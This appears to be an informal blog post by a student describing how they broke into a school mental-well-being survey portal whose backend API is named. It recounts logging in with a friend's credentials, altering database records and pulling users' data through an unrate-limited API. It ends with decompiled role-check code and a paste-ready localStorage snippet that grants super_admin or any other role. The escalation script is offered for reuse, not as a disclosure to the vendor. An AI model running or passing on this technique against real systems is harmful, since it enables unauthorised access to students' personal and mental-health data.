Its Sept 22 and i am seating on my chair wondering how to be like someone else but wait Sir send a message to login on a site for survey with a excel sheet that contains email id,phone no, Name, Class, Roll No of all my CLASSMATES but we all have to reset it to make a password to login there Big Auth Stuff.

ISSUE

What! my email was admin@immortaladi.com a domain that i get for $1 from github student program and now it is expired but wait is there any other option, i ask for default password in group but luckily no one knows what the curiosity it is i ask for one of my friend for his email and password cause i analyze whole website how it operates there is one major flow that i notice this website don’t validates client side validation that means if someone says that i am admin then i am.

I got one email password also i can use someone else Token to access it but why i need to do that if i have such friends now i have to correct my email address in their database, the next step is sending request to API to get users data and boom! what ? there is no rate limiting anyone can send multiple request for data the one thing is they must be logged in hun and rest is mentioned here .

---

FOR TECHIE

Application Profile

Platform: MWB (Mental Well-Being LMS / School Portal)
Backend API Base: https://xyz.stackpro.in/api
Core Libraries: React 18.3, React Router v6 / Remix Router, Zustand (with persist middleware), Lucide React.
Roles Defined (Te):

<ul style="line-height: 1.8;">

Super Admin

School Admin

Counsellor

Principal

Faculty

Student

Parent

100% Client-Side Super Admin Privilege Escalation (Critical)

if ((l?.role) === Te.SUPER_ADMIN) {
  const f = {
    survey_access: true, survey_creation_access: true, resourcerepo_access: true,
    chatbot_access: true, course_access: true, thoughtspace_access: true,
    post_on_thoughtSpace: true, rule_engine_access: true, ehr_access: true,
    mood_checker_access: true, parent_access: true
  };
  return t(f), c(f), r(!1), f;
}
const u = useCallback(h => (l?.role) === Te.SUPER_ADMIN ? true : (e?.[h]) ?? false, [e, l?.role]);

HOW I GOT ACCESS

// If you want another role just replace super_admin to role that u want.

const auth = JSON.parse(localStorage.getItem("auth-storage"));
auth.state.user.role = "super_admin";
localStorage.setItem("auth-storage", JSON.stringify(auth));
location.reload();

// JUST REPLACE roles like “super_admin” to any you want.